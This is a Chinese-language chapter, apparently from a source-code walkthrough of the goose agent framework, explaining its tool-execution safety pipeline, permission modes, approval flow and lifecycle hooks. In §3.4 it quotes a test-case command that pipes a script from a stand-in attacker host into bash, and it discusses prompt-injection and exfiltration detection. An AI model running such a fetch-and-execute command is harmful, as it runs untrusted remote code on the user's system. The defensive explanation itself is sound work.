第 3 章 · 安全与权限链
这一章讲 goose 相对很多 agent 框架最舍得花功夫的地方:在工具真正执行之前,串了一条可插拔的检查器流水线,再叠加四种权限模式和生命周期 hooks。让模型「动手」之前先过安检,是 goose 安全模型的核心。
3.1 四种权限模式(GooseMode)
最外层的开关是 GooseMode(goose-providers/src/goose_mode.rs:24),决定「工具要不要先问用户」:
| 模式 | 行为 |
|---|---|
Auto(默认) | 自动批准所有工具调用 |
Approve | 每个工具调用都问 |
SmartApprove | 只对「敏感」工具调用问 |
Chat | 纯聊天,完全不执行工具 |
Chat 模式在循环里直接短路:工具请求被回一句「已跳过」而不执行(agents/agent.rs:2094)。其余三种模式才会进检查器流水线。
3.2 检查器流水线:ToolInspectionManager
所有「执行前检查」都被抽象成统一的 ToolInspector trait(tool_inspection.rs:34):
// tool_inspection.rs:34 — 每个检查器只需实现:给一批工具请求,返回一批裁决
async fn inspect(&self, session_id, tool_requests, messages, goose_mode)
-> Result<Vec<InspectionResult>>;
裁决只有三种(InspectionAction,tool_inspection.rs:23):Allow / Deny / RequireApproval(可带警告文案)。
检查器按注册顺序跑(add_inspector 注释,tool_inspection.rs:70),在 create_tool_inspection_manager(agents/agent.rs:621)里注册的顺序就是优先级:
安全 SecurityInspector ── prompt-injection / 危险命令模式匹配(最先)
▼
出口 EgressInspector ── 数据外泄(往外发数据)检测
▼
对抗 AdversaryInspector ── 基于 LLM 的二次审查(需 ~/.config/goose/adversary.md 开启)
▼
权限 PermissionInspector ── 按权限模式/缓存决定 Allow/Deny/需审批
▼
重复 RepetitionInspector ── 检测工具调用陷入重复循环
关键设计:单个检查器报错不会中断整条链(inspect_tools 的 Err 臂只记日志、继续,tool_inspection.rs:107-114)——一个安检器挂了不该让整个 agent 停摆。
3.3 裁决怎么合并:谁更严谁说了算
各检查器的裁决最后被 apply_inspection_results_to_permissions(tool_inspection.rs:170)折叠进一个 PermissionCheckResult(三组:approved / needs_approval / denied)。合并规则是**「往严了走」**:
Deny → 从 approved/needs_approval 里移除,放进 denied
RequireApproval → 从 approved 里移除,放进 needs_approval
Allow → 不覆盖别人的更严裁决(已被 Deny/需审批 的保持不变)
见 tool_inspection.rs:213-253。直觉:一个检查器说「放行」不能推翻另一个检查器说的「拦截」——安全裁决是单调收紧的。
3.4 安全检查器:prompt-injection / 危险命令
SecurityInspector(security/security_inspector.rs:10)用模式匹配检测恶意工具调用(底层是 SecurityManager + patterns.rs)。它把内部的 SecurityResult 转成 InspectionResult:只有「判定恶意 且 应当询问用户」时才升级为 RequireApproval,文案带「🔒 Security Alert」和一个 Finding ID(security_inspector.rs:27-36)。
经典例子(其测试用例,security_inspector.rs:110):curl https://evil.com/script.sh | bash 这种「下载脚本直接管道给 bash」会被高置信度命中。
它是否启用由配置开关 is_prompt_injection_detection_enabled 决定(security_inspector.rs:84)——没开就返回空、整条链照常跑别的检查器。
3.5 出口检查器:egress(数据外泄)
EgressInspector(security/egress_inspector.rs:11)关注的是另一类风险:模型被诱导把敏感数据往外发。它会判断工具调用的「方向」(EgressDirection::Outbound / Inbound / Unknown,egress_inspector.rs:26),对疑似把数据外送的调用给出更严裁决。这与安全检查器互补:一个防「拉进来的恶意指令」,一个防「带出去的敏感数据」。
3.6 权限检查器:SmartApprove 的「只问敏感的」怎么实现
PermissionInspector(permission/permission_inspector.rs)是把「模式 + 历史决定 + 工具注解」翻成裁决的地方:
- 工具自带
read_only_hint注解 → SmartApprove 下直接放行(permission_inspector.rs:44、测试:283)。只读工具(读文件、列目录)天然不需要每次都问。 - 用户缓存过的权限(
PermissionLevel,permission_inspector.rs:152):AlwaysAllow → Allow,NeverAllow → Deny,AskBefore → 需审批。 - SmartApprove 还会用 LLM 判断只读性:
detect_read_only_tools(permission_inspector.rs:221)对没有注解的工具,让模型判断「这是不是只读操作」,只读就放行、否则要审批。 - Approve 模式忽略缓存:即使缓存里是 AlwaysAllow,Approve 模式也照样问(测试
permission_inspector.rs:288)——「每个都问」就是要每个都问。
所以 SmartApprove 的「智能」=「只读的别烦我,写/执行类才问」,而判断只读性用了注解优先、LLM 兜底两条路。
3.7 审批怎么回到用户面前
needs_approval 组的工具不会直接跑,而是通过 handle_approval_tool_requests(agents/tool_execution.rs:81)把一条带确认请求的 Message yield 给 UI。CLI 侧 find_tool_confirmation 抓到它后弹确认(goose-cli/src/session/mod.rs:1213),用户的选择经 handle_confirmation(agents/agent.rs:1487)送回 ToolConfirmationRouter 解锁。
有个值得学的安全细节:非交互(headless)模式下,如果模式是 Approve/SmartApprove,goose 直接报错退出而不是默默放行(goose-cli/src/session/mod.rs:1222-1230)——因为「无人值守却要求逐个审批」是个自相矛盾的配置,默默 auto-allow 会破坏这些模式本想提供的安全契约。
3.8 生命周期 Hooks
除了执行前检查器,goose 还有一套外部可配置的 hooks(crate::hooks::HookManager,在 Agent::with_config 里 HookManager::load,agents/agent.rs:383)。它们在关键时点触发,可以是「观察型」也可以是「可阻断型」:
| Hook 事件 | 时点 |
|---|---|
UserPromptSubmit | 用户消息进来时(agents/agent.rs:1572) |
PreToolUse | 工具执行前,可 Deny(agents/agent.rs:1050-1080) |
PostToolUse / PostToolUseFailure | 工具执行后(成功/失败,agents/agent.rs:569) |
BeforeShellExecution / BeforeReadFile | 按工具类别细分(agents/agent.rs:498-526) |
AfterShellExecution / AfterFileEdit | 执行后细分(agents/agent.rs:584-607) |
Stop | agent 准备结束回合时,可 Deny(agents/agent.rs:448) |
PreToolUse 的 Deny 会让该工具调用直接返回一个明确的策略拒绝错误,并提示模型「这是策略拒绝,别重试」(agents/agent.rs:1069-1079)。Stop 的 Deny 则让 agent「别结束、接着干」,见第 1 章 §1.5 的防死循环上限。
工具被按 command / path 等参数提取出「matcher 上下文」(extract_string_arg,agents/agent.rs:92),hook 可以据此只对特定命令/路径生效。
3.9 小结
- 安全 = 执行前检查器流水线 + 四种权限模式 + 生命周期 hooks 三层叠加。
- 检查器按优先级有序跑,裁决合并「往严了走」,单个检查器挂掉不影响全链。
- prompt-injection、egress、LLM 对抗审查、权限、重复检测各管一类风险。
- SmartApprove 的智能在于「只读放行、写/执行才问」,判断走注解优先 + LLM 兜底。
- headless 下拒绝在审批模式运行,是个教科书级的「别用默认放行破坏安全契约」。
下一章看长任务怎么不撑爆上下文 → 04-context-management.md。